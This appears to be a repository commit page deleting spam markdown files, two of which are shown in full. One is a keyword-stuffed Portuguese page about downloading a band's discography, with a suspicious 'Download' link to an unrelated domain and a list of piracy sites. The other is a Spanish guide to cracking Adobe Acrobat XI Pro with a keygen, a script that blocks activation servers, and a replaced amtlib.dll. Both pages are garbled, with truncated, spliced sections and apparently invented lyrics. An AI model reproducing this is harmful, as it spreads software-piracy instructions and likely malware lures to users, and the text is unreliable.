Commit
·
e05a173
1
Parent(s):
1648a3f
Update parquet files (step 112 of 121)
Browse filesThis view is limited to 50 files because it contains too many changes.
See raw diff
- spaces/1acneusushi/gradio-2dmoleculeeditor/data/Anjos de Resgate Download Discografia Learn More About Their History and Mission.md +0 -89
- spaces/1acneusushi/gradio-2dmoleculeeditor/data/Como activar adobe acrobat xi pro con una copia de prueba a suscripcin.md +0 -130
- spaces/1acneusushi/gradio-2dmoleculeeditor/data/Dont Let Your Downloads Turn into Nightmares How to Protect Yourself from Dangerous Files.md +0 -23
- spaces/1acneusushi/gradio-2dmoleculeeditor/data/Ebooks Tu00e9lu00e9chargu00e9s Tendances C1 C2 -.md +0 -35
- spaces/1gistliPinn/ChatGPT4/Examples/Atmel AVR Studio 5.1 .rar.md +0 -6
- spaces/1gistliPinn/ChatGPT4/Examples/BaibolySyFihiranapdf.md +0 -52
- spaces/1gistliPinn/ChatGPT4/Examples/Dragon Ball Z Movie 5 Coolers Revenge Download Watch Goku Fight Friezas Brother.md +0 -5
- spaces/1phancelerku/anime-remove-background/Angry Birds 2 APK - Play the Latest Version of the Classic Game.md +0 -120
- spaces/1phancelerku/anime-remove-background/Build Your Dream Vault with Fallout Shelter APK for Android.md +0 -121
- spaces/1phancelerku/anime-remove-background/Daily Color A Paint by Number Game with Stunning and Diverse Images.md +0 -182
- spaces/1phancelerku/anime-remove-background/Download Arena Breakout on PC and Escape the Combat Area with Awesome Loot.md +0 -102
- spaces/1phancelerku/anime-remove-background/Experience a New and Exciting Role-Playing Game with Mighty Party Cracked APK.md +0 -118
- spaces/30Kanika/disease-classifier/README.md +0 -31
- spaces/7hao/bingo/src/components/learn-more.tsx +0 -39
- spaces/AIFILMS/StyleGANEX/utils/inference_utils.py +0 -182
- spaces/AIGC-Audio/AudioGPT/text_to_speech/egs/datasets/audio/libritts/preprocess.py +0 -13
- spaces/AIZerotoHero-Health4All/03-Datasets/app.py +0 -99
- spaces/ALSv/FSW/roop/core.py +0 -214
- spaces/AQaTaHaGoD/GoD/app.py +0 -1
- spaces/Aadarsh4all/ChatWithBear/README.md +0 -12
- spaces/AchyuthGamer/OpenGPT-Chat-UI/.svelte-kit/types/src/routes/conversation/[id]/message/[messageId]/vote/$types.d.ts +0 -9
- spaces/AdWeeb/SuMmeet/utils.py +0 -98
- spaces/Adapter/CoAdapter/ldm/modules/extra_condition/openpose/body.py +0 -211
- spaces/AgentVerse/agentVerse/agentverse/memory/summary.py +0 -87
- spaces/AgentVerse/agentVerse/ui/src/phaser3-rex-plugins/templates/spinner/dots/Dots.d.ts +0 -2
- spaces/AgentVerse/agentVerse/ui/src/phaser3-rex-plugins/templates/ui/fixwidthbuttons/RemoveChildMethods.js +0 -50
- spaces/AgentVerse/agentVerse/ui/src/phaser3-rex-plugins/templates/ui/overlapsizer/RemoveChildMethods.js +0 -46
- spaces/AhmedSSoliman/MarianCG-CoNaLa/app.py +0 -30
- spaces/Ainterface/compare-gpt-models/README.md +0 -22
- spaces/AlanMars/QYL-AI-Space/modules/models/models.py +0 -651
- spaces/AlekseyKorshuk/thin-plate-spline-motion-model/reconstruction.py +0 -69
- spaces/Alpaca233/ChatPDF-GUI/gpt_reader/__init__.py +0 -0
- spaces/AlterM/Zaglyt2-transformer-test/word_emb.py +0 -15
- spaces/Ameaou/academic-chatgpt3.1/.github/ISSUE_TEMPLATE/bug_report.md +0 -25
- spaces/Androidonnxfork/CivitAi-to-Diffusers/diffusers/docs/source/en/using-diffusers/schedulers.md +0 -313
- spaces/Anonymous-sub/Rerender/ControlNet/gradio_seg2image.py +0 -97
- spaces/Arnx/MusicGenXvAKN/tests/data/__init__.py +0 -5
- spaces/Awiny/Image2Paragraph/models/grit_src/third_party/CenterNet2/docs/tutorials/configs.md +0 -62
- spaces/Bart92/RVC_HF/infer/lib/infer_pack/transforms.py +0 -207
- spaces/Bart92/RVC_HF/lib/uvr5_pack/lib_v5/layers_123821KB.py +0 -118
- spaces/Benson/text-generation/Examples/Descargar 2 4 Cancin.md +0 -73
- spaces/Big-Web/MMSD/env/Lib/site-packages/pip/_vendor/idna/package_data.py +0 -2
- spaces/BlackCub/ChatGPT4/README.md +0 -14
- spaces/CVPR/LIVE/thrust/thrust/detail/config/compiler_fence.h +0 -62
- spaces/CVPR/LIVE/thrust/thrust/system/cuda/detail/reduce.h +0 -1076
- spaces/CVPR/WALT/mmdet/models/detectors/fovea.py +0 -17
- spaces/CVPR/WALT/walt/datasets/pipelines/__init__.py +0 -25
- spaces/CVPR/WALT/walt/datasets/pipelines/formating.py +0 -366
- spaces/CVPR/regionclip-demo/datasets/prepare_ade20k_sem_seg.py +0 -26
- spaces/CVPR/regionclip-demo/detectron2/model_zoo/__init__.py +0 -10
spaces/1acneusushi/gradio-2dmoleculeeditor/data/Anjos de Resgate Download Discografia Learn More About Their History and Mission.md
DELETED
@@ -1,89 +0,0 @@
|
|
1 |
-
|
2 |
-
<h1>Anjos de Resgate: A Guide to Download Their Discography</h1>
|
3 |
-
<p>If you are a fan of Catholic music, you have probably heard of Anjos de Resgate, one of the most popular and influential bands in Brazil. Anjos de Resgate, which means "Angels of Rescue" in Portuguese, is a group of musicians who use their talents to spread the gospel and inspire people with their songs. In this article, we will tell you more about who they are, how to download their discography, and what are their best songs.</p>
|
4 |
-
<h2>Who are Anjos de Resgate?</h2>
|
5 |
-
<p>Anjos de Resgate is a Catholic band that was formed in 1999 by Marcelo Duarte, Dalvimar Gallo, Eraldo Mattos, Demian Tiguez, and Francis Botene. The band has gone through some changes in its lineup over the years, but it has always maintained its identity and mission.</p>
|
6 |
-
<h2>anjos de resgate download discografia</h2><br /><p><b><b>Download</b> ————— <a href="https://byltly.com/2uKwck">https://byltly.com/2uKwck</a></b></p><br /><br />
|
7 |
-
<h3>The history and mission of the band</h3>
|
8 |
-
<p>The band was born from a desire to evangelize through music and to reach out to people who were away from God. The band members were inspired by other Catholic artists such as Adriana Arydes, Rosa de Saron, and Padre Marcelo Rossi. They decided to create their own songs that would reflect their faith and their love for God.</p>
|
9 |
-
<p>The band's name comes from a passage in the Bible that says: "For he will command his angels concerning you to guard you in all your ways" (Psalm 91:11). The band believes that God sends his angels to protect and guide us in our journey of life. They also believe that they are called to be "angels of rescue" for those who need help and hope.</p>
|
10 |
-
<p>The band's mission is to use music as a tool for evangelization and catechesis. They want to share the message of God's love, mercy, and salvation with everyone who listens to their songs. They also want to encourage people to live a life of holiness and service to God and others.</p>
|
11 |
-
<p>anjos de resgate baixar todos os cds<br />
|
12 |
-
anjos de resgate discografia completa torrent<br />
|
13 |
-
anjos de resgate mp3 download gratis<br />
|
14 |
-
anjos de resgate melhores musicas download<br />
|
15 |
-
anjos de resgate coletanea download<br />
|
16 |
-
anjos de resgate ao vivo download<br />
|
17 |
-
anjos de resgate dvd download<br />
|
18 |
-
anjos de resgate discografia rar<br />
|
19 |
-
anjos de resgate download mega<br />
|
20 |
-
anjos de resgate palco mp3 download<br />
|
21 |
-
anjos de resgate discografia 320 kbps<br />
|
22 |
-
anjos de resgate som livre download<br />
|
23 |
-
anjos de resgate acustico download<br />
|
24 |
-
anjos de resgate discografia wikipedia<br />
|
25 |
-
anjos de resgate download minhateca<br />
|
26 |
-
anjos de resgate musicas para download<br />
|
27 |
-
anjos de resgate discografia zip<br />
|
28 |
-
anjos de resgate download 4shared<br />
|
29 |
-
anjos de resgate discografia blogspot<br />
|
30 |
-
anjos de resgate krafta download<br />
|
31 |
-
anjos de resgate discografia completa youtube<br />
|
32 |
-
anjos de resgate download gratis cd mais que amigos<br />
|
33 |
-
anjos de resgate discografia spotify<br />
|
34 |
-
anjos de resgate download sua musica<br />
|
35 |
-
anjos de resgate discografia letras<br />
|
36 |
-
anjos de resgate download cd marcados pelo amor<br />
|
37 |
-
anjos de resgate discografia vagalume<br />
|
38 |
-
anjos de resgate download cd luz das nações<br />
|
39 |
-
anjos de resgate discografia deezer<br />
|
40 |
-
anjos de resgate download cd amigos pela fé<br />
|
41 |
-
anjos de resgate discografia apple music<br />
|
42 |
-
anjos de resgate download cd inspiração<br />
|
43 |
-
anjos de resgate discografia cifra club<br />
|
44 |
-
anjos de resgate download cd por amor<br />
|
45 |
-
anjos de resgate discografia genius<br />
|
46 |
-
anjos de resgate download cd sejam santos<br />
|
47 |
-
anjos de resgate discografia last.fm<br />
|
48 |
-
anjos de resgate download cd ao vivo em brasilia<br />
|
49 |
-
anjos de resgate discografia shazam<br />
|
50 |
-
anjos de resgate download cd sou teu amigo sim<br />
|
51 |
-
anjos de resgate discografia allmusic<br />
|
52 |
-
anjos de resgate download cd ao vivo em fatima portugal <br />
|
53 |
-
anjos de resgate discografia rateyourmusic <br />
|
54 |
-
anjos de resgate download cd ao vivo em curitiba <br />
|
55 |
-
anjos de resgate discografia musixmatch <br />
|
56 |
-
anjos de resgate download cd ao vivo em sao paulo <br />
|
57 |
-
anjos de resgate discografia tidal <br />
|
58 |
-
anjos de resgate download cd ao vivo no santuario nacional <br />
|
59 |
-
anjos de resgate discografia amazon music <br />
|
60 |
-
anjos de resgate download cd ao vivo no rio</p>
|
61 |
-
<h3>The awards and achievements of the band</h3>
|
62 |
-
<p>Anjos de Resgate is one of the most successful Catholic bands in Brazil. They have sold more than 1 million copies of their albums, earning 6 gold discs, 2 platinum discs, 1 double platinum disc, 2 gold DVDs, and being the first Catholic band to receive a gold DVD award in Brazil.</p>
|
63 |
-
<p>The band has also performed in many events and festivals across Brazil and abroad. They have shared the stage with other famous Catholic artists such as Padre Fábio de Melo, Padre Reginaldo Manzotti, Tony Allysson, Eliana Ribeiro, and Celina Borges. They have also participated in World Youth Days, Catholic congresses, retreats, and missions.</p>
|
64 |
-
<h3>The style and message of the band</h3>
|
65 |
-
<p>Anjos de Resgate has a unique style that combines pop rock, ballads, folk, country, and worship music. They use instruments such as guitars, keyboards, drums, violins, flutes, saxophones, and harmonicas. They also use vocal harmonies and choirs to create a rich and diverse sound.</p>
|
66 |
-
<p>The band's songs are based on the teachings of the Catholic Church, the Bible, the saints, and their own personal experiences. They sing about topics such as God's love, grace, forgiveness, presence, providence, protection, healing, joy, peace, hope, faith, prayer, worship, family, life, mission, and social justice. They also sing about Mary, the mother of Jesus, and the angels, who are their patrons and intercessors.</p>
|
67 |
-
<h2>How to download Anjos de Resgate's discography?</h2>
|
68 |
-
<p>If you want to listen to Anjos de Resgate's songs on your devices, you have several options to download their discography. Here are some of them:</p>
|
69 |
-
<h3>The official website of the band</h3>
|
70 |
-
<p>The best way to support the band and to get access to all their albums is to visit their official website: <a href="https://anjosderesgate.com.br/discografia/">https://anjosderesgate.com.br/discografia/</a>. There, you can buy their CDs and DVDs online or find out where to buy them in physical stores. You can also find information about their history, agenda, band members, photos, videos, friends by faith, news, and contact.</p>
|
71 |
-
<h3>The streaming platforms of the band</h3>
|
72 |
-
<p>If you prefer to stream their music online, <h3>The third-party websites of the band</h3>
|
73 |
-
<p>If you want to download their music for free or for a lower price, you can also find some third-party websites that offer their discography. However, you should be careful with these websites, as they may not be legal or safe. Some of them may contain viruses, malware, or spyware that can harm your devices or steal your personal information. You should also respect the intellectual property rights of the band and the music industry.</p>
|
74 |
-
<p>Some of the third-party websites that you can find are:<a href="https://www.baixarmusica.net/anjos-de-resgate/">Baixar Música</a>,<a href="https://www.krafta.info/br/search/Anjos-De-Resgate/1/mp3">Krafta</a>,<a href="https://www.mp3xd.com/mp3/anjos-de-resgate/">MP3XD</a>,<a href="https://www.4shared.com/web/results?query=anjos+de+resgate">4shared</a>,<a href="https://www.mp3teca.com/musica/anjos-de-resgate/">MP3TECA</a>,<a href="https://www.mp3juices.cc/">MP3Juices</a>,<a href="https://www.mp3skull.com/">MP3Skull</a>,<a href="https://www.mp3clan.com/">MP3Clan</a>,<a href="https://www.mp3goo.com/">MP3Goo</a>,<a href="https://www.mp3raid.com/">MP3Raid</a>,<a href="https://www.mp3monkey.net/">MP3Monkey</a>,<a href="https://www.mp3cool4.info/">MP3Cool</a>,<a href="https://www.mp3lio.com/">MP3Lio</a>,<a href="https://www.mp3pm.com/">MP3PM</a>,<a href="https://www.mp3tunes.org/">MP3Tunes</a>,<a href="https://www.mp3truck.net/">MP3Truck</a>, and<a href="https://www.zippyshare.com/search?q=anjos+de+resgate">Zippyshare</a>.</p>
|
75 |
-
<h2>What are the best songs of Anjos de Resgate?</h2>
|
76 |
-
<p>Anjos de Resgate has released 10 albums so far, with more than 100 songs. Some of their songs have become classics of Catholic music, touching the hearts of millions of people. Here are some of their best songs, with their lyrics and meanings.</p>
|
77 |
-
<h3>Meu Senhor</h3>
|
78 |
-
<p>This song is from their first album, Anjos de Resgate (2000). It is a song of praise and adoration to Jesus, who is the Lord of all creation. The song expresses the love and gratitude of the singer for Jesus, who died and rose for us. The song also invites us to surrender our lives to Jesus and to follow him faithfully.</p>
|
79 |
-
<p>The lyrics are:</p>
|
80 |
-
<pre><code>
|
81 |
-
Meu Senhor Que estais no céu Santificado seja o vosso nome Meu Senhor Que estais no céu Santificado seja o vosso nome Eu te amo Eu te adoro Eu te louvo Eu te bendigo Meu Senhor Que estais no céu Santificado seja o vosso nome Meu Senhor Que estais no céu Santificado seja o vosso nome Eu te entrego a minha vida Eu te entrego o meu coração Eu te entrego os meus caminhos Eu te sigo em comunhão Meu Senhor Que estais no céu Santificado seja o vosso nome Meu Senhor Que estais no céu Santificado seja o vosso nome Eu te agradeço pela cruz Eu te agradeço pela luz Eu te agradeço pelo amor Eu te agradeço pelo sangue redentor Meu Senhor Que estais no céu Santificado seja o vosso nome Meu Senhor Que estais no céu Santificado seja o vosso nome Meu Senhor (meu Senhor) Meu Senhor (meu Senhor) Meu Senhor (meu Senhor) Meu Senhor (meu Senhor) </code></pre>
|
82 |
-
<h3>Foi Por Você</h3>
|
83 |
-
<p>This song is from their second album, Luz das Nações (2001). It is a song of reflection and repentance for our sins, which caused Jesus to suffer and die on the cross. The song reminds us of the passion and death of Jesus, who gave his life for us out of love. The song also calls us to conversion and reconciliation with God and our brothers and sisters.</p>
|
84 |
-
<p>The lyrics are:</p>
|
85 |
-
<pre><code>
|
86 |
-
Foi por você que Ele sofreu assim Foi por você que Ele carregou a cruz até o fim Foi por você que Ele foi traído e humilhado Foi por você que Ele foi flagelado e machucado Foi por você que Ele foi pregado na madeira Foi por você que Ele derramou seu sangue na terra Foi por você que Ele entregou seu espírito ao Pai Foi por você que Ele ressuscitou e vive hoje Foi por você que Ele fez tudo isso e muito mais E agora o que você vai fazer? E agora como vai viver? E agora como vai agir? E agora como vai seguir? Vai continuar do mesmo jeito? Vai continuar com esse defeito? Vai continuar com esse pecado? Vai continuar com esse fardo? Ou vai mudar de vida agora? Ou vai buscar a Deus sem demora? Ou vai perdoar quem te feriu? Ou vai pedir perdão a quem doeu? A escolha é sua, meu irmão A escolha é sua, minha irmã Mas lembre-se: Ele te ama demais! Mas lembre-se: Ele te quer em paz! Mas lembre-se: Ele te espera de braços abertos! Mas lembre-se: Ele é o caminho certo! <p>6q6jxvq5l4k6xk7jxg4tq5m">Google Play Music</a>, and others.</p>
|
87 |
-
</p> 0a6ba089eb<br />
|
88 |
-
<br />
|
89 |
-
<br />
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
spaces/1acneusushi/gradio-2dmoleculeeditor/data/Como activar adobe acrobat xi pro con una copia de prueba a suscripcin.md
DELETED
@@ -1,130 +0,0 @@
|
|
1 |
-
<br />
|
2 |
-
<h1>Como activar adobe acrobat xi pro</h1>
|
3 |
-
<p>Adobe Acrobat XI Pro es una de las mejores herramientas para crear, editar y compartir documentos PDF. Sin embargo, para poder usar todas sus funciones y evitar problemas de licencia, es necesario activar el programa. En este artículo te explicaremos qué es Adobe Acrobat XI Pro, por qué debes activarlo y cómo hacerlo de dos formas diferentes.</p>
|
4 |
-
<h2>Como activar adobe acrobat xi pro</h2><br /><p><b><b>Download Zip</b> >>> <a href="https://byltly.com/2uKxwX">https://byltly.com/2uKxwX</a></b></p><br /><br />
|
5 |
-
<h2>¿Qué es Adobe Acrobat XI Pro?</h2>
|
6 |
-
<p>Adobe Acrobat XI Pro es la versión profesional del software de Adobe que te permite trabajar con archivos PDF de forma fácil y eficiente. Con este programa puedes crear documentos PDF desde cualquier aplicación, convertir archivos de otros formatos a PDF, editar y modificar el contenido y la apariencia de los PDF, añadir comentarios y anotaciones, firmar y proteger los documentos, combinar y organizar varios PDF en uno solo, crear formularios interactivos y mucho más.</p>
|
7 |
-
<h3>Características y beneficios</h3>
|
8 |
-
<p>Algunas de las características y beneficios de Adobe Acrobat XI Pro son:</p>
|
9 |
-
<ul>
|
10 |
-
<li>Te permite crear documentos PDF de alta calidad con opciones de personalización y optimización.</li>
|
11 |
-
<li>Te ofrece una interfaz intuitiva y fácil de usar con herramientas integradas para editar texto, imágenes, objetos y páginas.</li>
|
12 |
-
<li>Te facilita la colaboración con otros usuarios mediante la función de revisión y comentarios.</li>
|
13 |
-
<li>Te ayuda a proteger tus documentos con contraseñas, cifrado, firmas digitales y certificados.</li>
|
14 |
-
<li>Te permite convertir archivos PDF a otros formatos como Word, Excel, PowerPoint, HTML, etc.</li>
|
15 |
-
<li>Te da la posibilidad de crear formularios PDF rellenables y recopilar datos de forma segura.</li>
|
16 |
-
<li>Te ofrece una gran compatibilidad con otros programas y dispositivos.</li>
|
17 |
-
</ul>
|
18 |
-
<h3>Requisitos del sistema</h3>
|
19 |
-
<p>Para poder instalar y usar Adobe Acrobat XI Pro necesitas cumplir con los siguientes requisitos del sistema:</p>
|
20 |
-
<table>
|
21 |
-
<tr><td>Sistema operativo</td><td>Windows XP SP3 o superior (32 bits), Windows Vista SP2 o superior (32 bits y 64 bits), Windows 7 SP1 o superior (32 bits y 64 bits), Windows 8 (32 bits y 64 bits)</td></tr>
|
22 |
-
<tr><td>Procesador</td><td>1.3 GHz o superior</td></tr>
|
23 |
-
<tr><td>Memoria RAM</td><td>512 MB (1 GB recomendado)</td></tr>
|
24 |
-
<tr><td>Espacio en disco duro</td><td>1.85 GB</td></tr>
|
25 |
-
<tr><td>Resolución de pantalla</td><td>1024 x 768</td></tr>
|
26 |
-
<tr><td>Tarjeta gráfica</td><td>Aceleración de hardware compatible con DirectX 9 o superior</td></tr>
|
27 |
-
<tr><td>Navegador web</td><td>Internet Explorer 7 o superior, Firefox 3.5 o superior, Chrome 9 o superior</td></tr>
|
28 |
-
<tr><td>Otros requisitos</td><td>Conexión a internet para la activación del producto y las actualizaciones; unidad de DVD-ROM para la instalación desde disco; Adobe Flash Player 10 o superior para ver algunos contenidos; Microsoft Office 2007 o superior para la integración con Office.</td></tr>
|
29 |
-
</table>
|
30 |
-
<h2>¿Por qué activar Adobe Acrobat XI Pro?</h2>
|
31 |
-
<p>Activar Adobe Acrobat XI Pro es necesario para poder disfrutar de todas las ventajas que ofrece el programa y evitar los inconvenientes que supone no hacerlo.</p>
|
32 |
-
<h3>Ventajas de la activación</h3>
|
33 |
-
<p>Algunas de las ventajas de activar Adobe Acrobat XI Pro son:</p>
|
34 |
-
<ul>
|
35 |
-
<li>Tendrás acceso ilimitado a todas las funciones del programa sin restricciones ni limitaciones.</li>
|
36 |
-
<li>No recibirás mensajes molestos ni recordatorios para activar el producto cada vez que lo uses.</li>
|
37 |
-
<li>No tendrás problemas legales ni éticos por usar un software sin licencia válida.</li>
|
38 |
-
<li>Podrás recibir actualizaciones automáticas del programa con mejoras y correcciones de errores.</li>
|
39 |
-
<li>Podrás acceder al soporte técnico y al servicio al cliente de Adobe en caso de necesitar ayuda.</li>
|
40 |
-
<li>Podrás aprovechar las ofertas y promociones exclusivas para los usuarios registrados.</li>
|
41 |
-
</ul>
|
42 |
-
<h3>Desventajas de no activar</h3>
|
43 |
-
<p>Algunas de las desventajas de no activar Adobe Acrobat XI Pro son:</p>
|
44 |
-
<ul>
|
45 |
-
<li>No podrás usar todas las funciones del programa y algunas estarán deshabilitadas o limitadas.</li>
|
46 |
-
<li>Recibirás mensajes constantes y molestos para que actives el producto cada vez que lo uses.</li>
|
47 |
-
<li>Infringirás los términos y condiciones de uso del software y podrías enfrentarte a consecuencias legales o éticas.</li>
|
48 |
-
<li>No podrás recibir actualizaciones automáticas del programa ni acceder a las últimas novedades.</li>
|
49 |
-
<li>No podrás acceder al soporte técnico ni al servicio al cliente de Adobe en caso de necesitar ayuda.</li>
|
50 |
-
<li>No podrás aprovechar las ofertas ni promociones exclusivas para los usuarios registrados.</li>
|
51 |
-
</ul>
|
52 |
-
<h2>¿Cómo activar Adobe Acrobat XI Pro?</h2>
|
53 |
-
<p>Existen dos métodos para activar Adobe Acrobat XI Pro: usar un keygen o usar un parche. A continuación te explicamos cómo hacerlo paso a paso en cada caso.</p>
|
54 |
-
<p>Como obtener una licencia para adobe acrobat xi pro<br />
|
55 |
-
Como usar el crack de adobe acrobat xi pro<br />
|
56 |
-
Como validar adobe acrobat xi pro sin internet<br />
|
57 |
-
Como instalar y activar adobe acrobat xi pro en mac<br />
|
58 |
-
Como hacer funcionar adobe acrobat xi pro en windows 10<br />
|
59 |
-
Como solucionar el error de activacion de adobe acrobat xi pro<br />
|
60 |
-
Como renovar la suscripcion de adobe acrobat xi pro<br />
|
61 |
-
Como conseguir el serial de adobe acrobat xi pro gratis<br />
|
62 |
-
Como desactivar el modo de prueba de adobe acrobat xi pro<br />
|
63 |
-
Como cambiar el idioma de adobe acrobat xi pro<br />
|
64 |
-
Como descargar e instalar adobe acrobat xi pro full<br />
|
65 |
-
Como crear un pdf editable con adobe acrobat xi pro<br />
|
66 |
-
Como convertir un archivo a pdf con adobe acrobat xi pro<br />
|
67 |
-
Como editar un pdf con adobe acrobat xi pro<br />
|
68 |
-
Como firmar digitalmente un pdf con adobe acrobat xi pro<br />
|
69 |
-
Como proteger un pdf con contraseña con adobe acrobat xi pro<br />
|
70 |
-
Como reducir el tamaño de un pdf con adobe acrobat xi pro<br />
|
71 |
-
Como combinar varios pdf en uno solo con adobe acrobat xi pro<br />
|
72 |
-
Como extraer paginas de un pdf con adobe acrobat xi pro<br />
|
73 |
-
Como insertar imagenes en un pdf con adobe acrobat xi pro<br />
|
74 |
-
Como añadir comentarios a un pdf con adobe acrobat xi pro<br />
|
75 |
-
Como rellenar un formulario pdf con adobe acrobat xi pro<br />
|
76 |
-
Como crear un indice en un pdf con adobe acrobat xi pro<br />
|
77 |
-
Como rotar las paginas de un pdf con adobe acrobat xi pro<br />
|
78 |
-
Como numerar las paginas de un pdf con adobe acrobat xi pro<br />
|
79 |
-
Como convertir un pdf a word con adobe acrobat xi pro<br />
|
80 |
-
Como convertir un pdf a excel con adobe acrobat xi pro<br />
|
81 |
-
Como convertir un pdf a powerpoint con adobe acrobat xi pro<br />
|
82 |
-
Como convertir un pdf a jpg con adobe acrobat xi pro<br />
|
83 |
-
Como convertir un jpg a pdf con adobe acrobat xi pro<br />
|
84 |
-
Como escanear un documento a pdf con adobe acrobat xi pro<br />
|
85 |
-
Como reconocer el texto de un pdf escaneado con adobe acrobat xi pro<br />
|
86 |
-
Como corregir la ortografia de un pdf con adobe acrobat xi pro<br />
|
87 |
-
Como traducir un pdf a otro idioma con adobe acrobat xi pro<br />
|
88 |
-
Como optimizar el rendimiento de adobe acrobat xi pro<br />
|
89 |
-
Como actualizar adobe acrobat xi pro a la ultima version<br />
|
90 |
-
Como desinstalar adobe acrobat xi pro correctamente<br />
|
91 |
-
Como recuperar la clave de activacion de adobe acrobat xi pro<br />
|
92 |
-
Como contactar con el soporte tecnico de adobe acrobat xi pro<br />
|
93 |
-
Como participar en el programa beta de adobe acrobat xi pro<br />
|
94 |
-
Que diferencia hay entre adobe acrobat reader y adobe acrobat xi pro<br />
|
95 |
-
Que ventajas tiene usar adobe acrobat xi pro frente a otros programas similares<br />
|
96 |
-
Que requisitos necesita mi ordenador para instalar adobe acrobat xi pro<br />
|
97 |
-
Que precio tiene comprar o alquilar adobe acrobat xi pro<br />
|
98 |
-
Que alternativas gratuitas hay a adobe acrobat xi pro<br />
|
99 |
-
Que hacer si me caduca la licencia de adobe acrobat xi pro y no puedo renovarla<br />
|
100 |
-
Que funciones nuevas tiene la version 2023 de adobe acrobat xi pro <br />
|
101 |
-
Que extensiones o complementos puedo usar con adobe acrobat xi pro <br />
|
102 |
-
Que opiniones tienen los usuarios de adobe acrobat xi pro</p>
|
103 |
-
<h3>Método 1: Usar un keygen</h3>
|
104 |
-
<p>Un keygen es un programa que genera números de serie válidos para activar el software. Para usar este método necesitas descargar un keygen compatible con Adobe Acrobat XI Pro. Puedes encontrarlo en sitios web como <a href="https://detodounpocoh.jimdofree.com/2013/03/28/tutorial-activar-adobe-acrobat-xi-pro-multi/">este</a>. Una vez que lo tengas sigue estos pasos:</p>
|
105 |
-
<h4>Paso 1: Ejecutar el fichero "disable_activation.cmd"</h4>
|
106 |
-
<p>Este fichero sirve para bloquear la conexión del programa con los servidores de Adobe y evitar que detecte que el número de serie es falso. Para ejecutarlo debes hacer clic derecho sobre él y seleccionar "Ejecutar como administrador". Este paso se puede hacer antes o después de instalar el programa.</p>
|
107 |
-
<h4>Paso 2: Desactivar el internet</h4>
|
108 |
-
<p>Este paso es muy importante para evitar que el programa se conecte a internet y verifique la validez del número de serie. Para desactivar el internet puedes desconectar el cable ethernet, apagar el wifi o deshabilitar la tarjeta de red desde el panel de control.</p>
|
109 |
-
<h4>Paso 3: Instalar el programa</h4>
|
110 |
-
<h4>Paso 2: Copiar el archivo "amtlib.dll" en la carpeta del programa</h4>
|
111 |
-
<p>Este es el archivo que contiene el parche que activará el programa. Para copiarlo debes abrir la carpeta donde descargaste el parche y buscar el archivo "amtlib.dll". Luego debes abrir la carpeta donde se instaló el programa, que por defecto es "C:\Program Files (x86)\Adobe\Acrobat 11.0\Acrobat". Allí debes pegar el archivo "amtlib.dll" y reemplazar el que ya existe.</p>
|
112 |
-
<h4>Paso 3: Disfrutar del programa activado</h4>
|
113 |
-
<p>Ya no necesitas hacer nada más. Solo debes iniciar el programa y disfrutar de todas sus funciones sin problemas. Ya tienes tu Adobe Acrobat XI Pro activado.</p>
|
114 |
-
<h2>Preguntas frecuentes</h2>
|
115 |
-
<p>A continuación te presentamos algunas preguntas frecuentes sobre la activación de Adobe Acrobat XI Pro y sus respuestas:</p>
|
116 |
-
<h3>¿Qué pasa si no activo Adobe Acrobat XI Pro?</h3>
|
117 |
-
<p>Si no activas Adobe Acrobat XI Pro, solo podrás usarlo por un periodo de prueba de 30 días. Después de ese tiempo, el programa dejará de funcionar y te pedirá que lo actives o que compres una licencia.</p>
|
118 |
-
<h3>¿Qué pasa si Adobe detecta que he usado un método ilegal para activar el programa?</h3>
|
119 |
-
<p>Si Adobe detecta que has usado un método ilegal para activar el programa, puede bloquear tu número de serie o desactivar tu producto. También puede tomar medidas legales contra ti por violar los términos y condiciones de uso del software.</p>
|
120 |
-
<h3>¿Qué pasa si actualizo el programa después de activarlo?</h3>
|
121 |
-
<p>Si actualizas el programa después de activarlo, puede que pierdas la activación y tengas que repetir el proceso. Por eso se recomienda desactivar las actualizaciones automáticas del programa y solo actualizarlo cuando sea necesario.</p>
|
122 |
-
<h3>¿Qué pasa si cambio de computadora o formateo mi disco duro?</h3>
|
123 |
-
<p>Si cambias de computadora o formateas tu disco duro, tendrás que reinstalar y reactivar el programa. Para ello debes seguir los mismos pasos que explicamos anteriormente.</p>
|
124 |
-
<h3>¿Qué pasa si tengo problemas para activar el programa o necesito ayuda?</h3>
|
125 |
-
<p>Si tienes problemas para activar el programa o necesitas ayuda, puedes consultar los foros y blogs de usuarios que han usado los mismos métodos que tú. También puedes contactar con el soporte técnico o el servicio al cliente de Adobe, pero ten en cuenta que ellos no te ayudarán si has usado un método ilegal para activar el programa.</p>
|
126 |
-
<h2>Conclusión</h2>
|
127 |
-
<p>En este artículo te hemos mostrado cómo activar Adobe Acrobat XI Pro de dos formas diferentes: usando un keygen o usando un parche. Ambos métodos son efectivos y te permitirán usar todas las funciones del programa sin problemas. Sin embargo, debes tener en cuenta que estos métodos son ilegales y pueden tener consecuencias negativas para ti y para Adobe. Por eso te recomendamos que si te gusta el programa y lo usas con frecuencia, compres una licencia oficial y lo actives de forma legal. Así podrás disfrutar del programa con tranquilidad y apoyarás el trabajo de los desarrolladores.</p>
|
128 |
-
</p> 0a6ba089eb<br />
|
129 |
-
<br />
|
130 |
-
<br />
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
